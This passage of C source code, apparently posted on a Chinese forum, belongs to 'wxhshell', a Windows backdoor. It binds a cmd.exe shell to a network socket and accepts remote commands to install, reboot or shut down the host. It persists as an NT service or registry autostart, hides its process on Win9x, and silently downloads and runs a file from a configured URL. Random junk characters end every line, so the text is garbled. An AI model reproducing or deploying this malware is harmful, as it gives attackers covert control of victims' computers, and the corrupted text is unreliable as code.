  noUZ9M|hz  
  // 帮助 ,I&0#+}n  
  case '?': { 548 [! p4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -IE P?NX  
    break; @<TfA>*VJ  
  } X-N$+[#  
  // 安装 IL6f~!  
  case 'i': { "k1Tsd-  
    if(Install()) =@jMx^A"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %`\_l  
    else mv%:[+!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,pa&he  
    break; |Q)w3\S$  
    } t-4 R7`A<  
  // 卸载 JJHvj=9'o  
  case 'r': { %Rsf6rJ  
    if(Uninstall()) 4bFVyv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R5;eR(24G  
    else F/od,w9_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~q T1<k  
    break; yDyeP{  
    } lQ<n dt~  
  // 显示 wxhshell 所在路径 zI:5I@ X  
  case 'p': { d,rEEc Y  
    char svExeFile[MAX_PATH]; *JC{G^|Y  
    strcpy(svExeFile,"\n\r"); C.B}Py+   
      strcat(svExeFile,ExeFile); WKIiJ{@L  
        send(wsh,svExeFile,strlen(svExeFile),0); .SV3<)  
    break; X@AkA9'fq  
    } s^?sJUj  
  // 重启 qD%&\ZT  
  case 'b': { -b>O4_N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o`8+#+@f7  
    if(Boot(REBOOT)) /e?ux~f|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HJ1\FO9\  
    else { +$QL0|RL  
    closesocket(wsh); '/Cz{<,  
    ExitThread(0); Ce'2lo  
    } Nx (pJp{S  
    break; $0S"Lh{  
    } j _9<=Vu  
  // 关机 >.wd)  
  case 'd': { #M^Yh?~%w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b G5  
    if(Boot(SHUTDOWN)) x(zZqOed  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pL/.JzB  
    else { zu*G4?]~h  
    closesocket(wsh); B{UoNm@  
    ExitThread(0); sAN:C{  
    } v?TJ!o  
    break; g#%FY1xp  
    } E,"btBg  
  // 获取shell *n_4Rr  
  case 's': {  wY_-  
    CmdShell(wsh); G{Enh<V  
    closesocket(wsh); DD$P r&~=  
    ExitThread(0); 27 TZ+?  
    break; y^46z( I  
  } 3R:i*8C  
  // 退出 <.(/#=2  
  case 'x': { z slEUTj)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u&_U CJCf  
    CloseIt(wsh); @OY-(cW  
    break; ~rX6owBq  
    } %e<dV\x?T  
  // 离开 u\geD  
  case 'q': { \ J:T]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *=9#tYn~  
    closesocket(wsh); }<h. chz,  
    WSACleanup(); /P"\ +Qp  
    exit(1); :QL p`s  
    break; pvUoed\  
        } :Sn3|`HDm  
  } `DllW{l  
  } ~tuFjj^  
Z:$b)+2:\  
  // 提示信息 _O,ZeES  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jv.R?1;8i  
} UBHQzc+,  
  } |B$\3,  
A y[L{!)2{  
  return; bCe-0!Q  
} T`ZJ=gv  
W8h\ s {  
// shell模块句柄 SfL`JNi)  
int CmdShell(SOCKET sock) 6MNA.{Jdd  
{ l4reG:uYG  
STARTUPINFO si; jyH_/X5i7  
ZeroMemory(&si,sizeof(si)); {1DYXKe  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jF_I4H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ",V5*1w  
PROCESS_INFORMATION ProcessInfo; &E`Z_} ~  
char cmdline[]="cmd"; "$pg mf2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U?j>28  
  return 0; PSR `8z n  
} Y(Ezw !a  
~'.yhPo g  
// 自身启动模式 Fh $&puF2  
int StartFromService(void) 9?$!=4  
{ k+M-D~@5H  
typedef struct dKTAc":-}  
{ `2+e\%f/0  
  DWORD ExitStatus; |6^ K  
  DWORD PebBaseAddress; Z?' |9FM  
  DWORD AffinityMask; ea>\.D-S  
  DWORD BasePriority; B&N&eRAE  
  ULONG UniqueProcessId; Z`c{LYP,y"  
  ULONG InheritedFromUniqueProcessId; v nC&1  
}   PROCESS_BASIC_INFORMATION; QXj(U&#rp  
S5a<L_  
PROCNTQSIP NtQueryInformationProcess; *v/*_6f*  
:]Qx T8B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oa !P]r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {=7i}xY]T  
 Bt3=/<.\  
  HANDLE             hProcess; |raQ]b@t&  
  PROCESS_BASIC_INFORMATION pbi; beZ| i 1:  
n`Iy7X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3*2pacHpE  
  if(NULL == hInst ) return 0; E}&jtMRUt  
}_;!E@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !r0P\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zRFM/IYC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z5vI0 N$  
as!j0j%  
  if (!NtQueryInformationProcess) return 0; S,RJ#.:F[t  
9W$)W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eJp-s" %  
  if(!hProcess) return 0; toJ&$HrE  
Pv.@Y 30  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ved Qwzh  
Vnb#N4vR  
  CloseHandle(hProcess); `_^=OOn  
VW`=9T5%@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); htym4\Z=  
if(hProcess==NULL) return 0; Ps\^OJR  
t&]Mt 7  
HMODULE hMod; f"^tOgGH  
char procName[255]; >;W(Jb7e  
unsigned long cbNeeded; mDf WR  
]t;5kj/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]bweQw@i  
X-F HJ4  
  CloseHandle(hProcess); #?6RoFgMe  
]!:Y]VYN)\  
if(strstr(procName,"services")) return 1; // 以服务启动 rtE,SN  
h cXqg  
  return 0; // 注册表启动 B{ "<\g  
} .p>8oOp  
nTKfwIeg5  
// 主模块 =>*N W9c  
int StartWxhshell(LPSTR lpCmdLine) )aSkUytg"  
{ +KNr1rG  
  SOCKET wsl; j3&*wU_  
BOOL val=TRUE; Q4q#/z  
  int port=0; G].KJ5,y  
  struct sockaddr_in door; `oBzt |f5  
<=M}[  
  if(wscfg.ws_autoins) Install(); _s8_i6 Y  
;xwQzu%M>5  
port=atoi(lpCmdLine); {H2i+"cF  
Y\sjm]_  
if(port<=0) port=wscfg.ws_port; CV"Y40  
HXI}f\6x  
  WSADATA data; E:k?*l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6~>k]G  
yk{alSF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C<>.*wlp=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2_X0Og8s[  
  door.sin_family = AF_INET; sf0U(XYQ^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W$S.?[X  
  door.sin_port = htons(port); |3m%d2V*hF  
uL F55:`<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oVW?d]R  
closesocket(wsl); mM.&c5U  
return 1; 9G~P)Z!0  
} [dMxr9M  
:^a$ve3(Jq  
  if(listen(wsl,2) == INVALID_SOCKET) { ,-)1)R\.  
closesocket(wsl); mX^RSg9E}  
return 1; zn|}YovY+  
} 5Y^ YKV{  
  Wxhshell(wsl); )3sb 2 #  
  WSACleanup(); mN02T@R-  
za7wNe(s  
return 0; _wCSL.  
HrGX-6`  
} =Frr#t!(w0  
y e'5 A   
// 以NT服务方式启动 cDg27xOUi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 46~ug5gV  
{ r$5!KO  
DWORD   status = 0; 51x,[y+Xe  
  DWORD   specificError = 0xfffffff; :cTi$n  
qv\yQ&pj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v*3:8Y,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wn`budH?c8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O5 SX"A  
  serviceStatus.dwWin32ExitCode     = 0; ?*,q#ZkA9W  
  serviceStatus.dwServiceSpecificExitCode = 0; ^MUM04l  
  serviceStatus.dwCheckPoint       = 0; :%{7Q$Xv<  
  serviceStatus.dwWaitHint       = 0; Kl?1)u3^4  
4<|u~n*JF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); { SV$fl;  
  if (hServiceStatusHandle==0) return; zdCt#=QV?R  
Za w+  
status = GetLastError(); X!Q"p$D4(  
  if (status!=NO_ERROR) h 8s*FI  
{ u2QJDLMJv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J++D\x#@  
    serviceStatus.dwCheckPoint       = 0; )Pq.kn{Sp  
    serviceStatus.dwWaitHint       = 0; K4BMa]/U  
    serviceStatus.dwWin32ExitCode     = status; S[M$>  
    serviceStatus.dwServiceSpecificExitCode = specificError; \X!!(Z;6A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0W> ",2|z  
    return; ;q Z2V  
  } K#jm6Xh?E  
)1/O_N6C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^gG,}GTl  
  serviceStatus.dwCheckPoint       = 0; 3$Je,|bs  
  serviceStatus.dwWaitHint       = 0; Vs >1%$If  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i ^#R iCeo  
} +Q.[W`goV  
b11C3TyQT  
// 处理NT服务事件,比如:启动、停止 k4v[2y`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %:lQ ~yn  
{ V6Y!0,w!a  
switch(fdwControl) bGZy0.  
{ L6T_&AiL$  
case SERVICE_CONTROL_STOP: sZc<h]L(g  
  serviceStatus.dwWin32ExitCode = 0; Y%3j >_\;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D%zIm,bf  
  serviceStatus.dwCheckPoint   = 0; ",a fv{C  
  serviceStatus.dwWaitHint     = 0; m`Z4#_s2  
  { 8Xr"4;}f+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C}CX n X  
  } R##O9BSI8Z  
  return; y03l_E,  
case SERVICE_CONTROL_PAUSE: HM/ q B^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;\h'A(  
  break; 8g\.1<~  
case SERVICE_CONTROL_CONTINUE: _>s.V`N'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eX\t]{\oC  
  break; j.o)!S A  
case SERVICE_CONTROL_INTERROGATE: 9E5B.qlw$l  
  break; FE`J.aw^X  
}; XZhhr1-<a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Xn)$Ti ~<  
} N}\i!YUD  
NJ.kT uk  
// 标准应用程序主函数 <T['J]k%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q07>FW R  
{ ;RXv%ML  
]Sh&8 #  
// 获取操作系统版本 ][3 "xP  
OsIsNt=GetOsVer(); ctf'/IZ5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); - 0zo>[c/p  
$/Mk.(3'P  
  // 从命令行安装 ~34$D],D  
  if(strpbrk(lpCmdLine,"iI")) Install(); QeGU]WU{  
1z)+P1nH]  
  // 下载执行文件 6(.&y;  
if(wscfg.ws_downexe) { -szvO_UP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =3FXU{"Qi4  
  WinExec(wscfg.ws_filenam,SW_HIDE); @uc%]V<:k  
} m|!sY[!  
;kY=}=9  
if(!OsIsNt) { TWy1)30x  
// 如果时win9x,隐藏进程并且设置为注册表启动 il: ""x7^y  
HideProc(); 4WLB,<b}  
StartWxhshell(lpCmdLine); GFvOrRlP\  
} BP`UB  
else yY}`G-)g~*  
  if(StartFromService()) 1UOFTI2S|  
  // 以服务方式启动 Gb"PMai  
  StartServiceCtrlDispatcher(DispatchTable); kY|<1Ht  
else bp }~{]:b  
  // 普通方式启动 17-K~ybc  
  StartWxhshell(lpCmdLine); mV-MJ$3r  
Ba"Z^(:  
return 0; t ,0~5>5  
}
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只看该作者 1 发表于: 2006-10-10
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